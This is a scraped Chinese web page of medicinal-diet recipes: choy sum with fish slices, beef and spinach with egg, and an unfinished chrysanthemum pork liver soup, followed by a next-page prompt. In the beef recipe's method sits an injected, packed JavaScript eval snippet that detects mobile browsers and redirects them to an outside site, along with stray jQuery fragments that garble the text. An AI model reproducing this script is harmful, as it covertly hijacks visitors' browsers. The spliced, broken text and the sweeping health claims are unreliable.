菜心扒鱼片——


    菜心扒鱼片调养药膳


    菜心扒鱼片是一道美味可口的家常菜，同时也具有一定的调养药膳功效。这道菜以菜心和鱼片为主要食材，搭配适量的调料和药材，不仅味道鲜美，而且营养丰富，对身体健康有很多好处。


    一、食材准备


    1. 菜心：250 克


    2. 鱼片：200 克


    3. 姜：适量


    4. 蒜：适量


    5. 盐：适量


    6. 料酒：适量


    7. 生抽：适量


    8. 淀粉：适量


    9. 鸡精：适量


    10. 食用油：适量


    11. 枸杞：适量


    12. 红枣：适量


    二、制作步骤


    1. 将菜心洗净，切成段备用。


    2. 将鱼片洗净，切成薄片，放入碗中，加入适量的盐、料酒、生抽、淀粉，搅拌均匀，腌制 15 分钟左右。


    3. 将姜、蒜洗净，切成末备用。


    4. 将枸杞、红枣洗净，备用。


    5. 热锅凉油，放入姜蒜末煸炒出香味。


    6. 放入腌制好的鱼片，翻炒至变色。


    7. 加入适量的清水，放入枸杞、红枣，大火烧开，转小火煮 5 分钟左右。


    8. 放入菜心，继续煮 2 分钟左右。


    9. 加入适量的盐、鸡精调味，翻炒均匀即可出锅。


    三、药膳功效


    1. 菜心：菜心富含维生素 C、维生素 B6、叶酸、钾、钙等营养成分，具有清热解毒、利尿消肿、通利肠胃等功效。


    2. 鱼片：鱼片富含优质蛋白质、不饱和脂肪酸、维生素 B12、磷、铁等营养成分，具有补虚损、益气血、强筋骨等功效。


    3. 枸杞：枸杞富含枸杞多糖、胡萝卜素、维生素 B1、维生素 B2、维生素 C、钙、铁等营养成分，具有滋补肝肾、明目等功效。


    4. 红枣：红枣富含维生素 C、维生素 P、葡萄糖、果糖、蔗糖、环磷酸腺苷等营养成分，具有补中益气、养血安神等功效。


    四、注意事项


    1. 鱼片腌制时，可根据个人口味加入适量的调料。


    2. 煮鱼片时，时间不宜过长，以免鱼片煮老。


    3. 菜心煮的时间也不宜过长，以免影响口感和营养。


    4. 药膳虽好，但也不能过量食用，应根据个人体质和病情适量食用。


    总之，菜心扒鱼片是一道美味可口、营养丰富的调养药膳，具有清热解毒、利尿消肿、通利肠胃、补虚损、益气血、强筋骨、滋补肝肾、明目、补中益气、养血安神等功效。在制作时，应注意食材的选择和烹饪方法，以保证药膳的功效和口感。


    金蛋牛肉煮菠菜——


    ## 金蛋牛肉煮菠菜调养药膳


    金蛋牛肉煮菠菜是一道营养丰富、口感鲜美的调养药膳。这道菜结合了牛肉、菠菜和鸡蛋的营养价值，具有补气血、强筋骨、滋阴润燥等功效，适合身体虚弱、贫血、骨质疏松等人群食用。


    ### 一、材料


    1. **主料**：牛肉 200 克，菠菜 200 克，鸡蛋 1 个。


    2. **辅料**：生姜 10 克，大葱 10 克，料酒 10 克，生抽 10 克，盐 5 克，鸡精 3 克，胡椒粉 3 克，淀粉 10 克，食用油 20 克。


    ### 二、做法


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13447598|141541||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    1. **准备工作**


    - 将牛肉洗净，切成薄片，放入碗中，加入料酒、生抽、盐、鸡精、胡椒粉、淀粉，搅拌均匀，腌制 15 分钟。


    - 将菠菜洗净，切成段备用。


    - 将生姜洗净，切成丝备用。


    - 将大葱洗净，切成段备用。


    - 将鸡蛋打入碗中，搅拌均匀备用。


    2. **烹饪步骤**


    - 热锅凉油，放入姜丝和葱段爆香。


    - 加入腌制好的牛肉片，翻炒至变色。


    - 加入适量清水，大火烧开。


    - 加入菠菜段，继续煮 2-3 分钟。


    - 慢慢倒入鸡蛋液，搅拌均匀。


    - 加入盐、鸡精、胡椒粉调味，搅拌均匀即可。


    ### 三、注意事项


    1. 牛肉要选择嫩牛肉，这样口感更好。


    2. 菠菜要选择新鲜的菠菜，这样口感更好。


    3. 鸡蛋液要慢慢倒入锅中，搅拌均匀，这样可以使鸡蛋液更加均匀地分布在汤中。


    菊花猪肝汤——


    菊花猪肝汤是一道具有调养作用的药膳，以下是一份菊花猪肝汤的制作方法和功效介绍：


    **菊花猪肝汤的制作方法：**


    材料：猪肝 200 克，菊花 10 克，姜、葱、盐、料酒、胡椒粉、香油适量。


    步骤：


    1. 将猪肝洗净，切成薄片，用清水浸泡 30 分钟，去除血水。


    2. 菊花洗净，用温水浸泡 10


    分钟。


    3. 姜切片，葱切段备用。


    小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！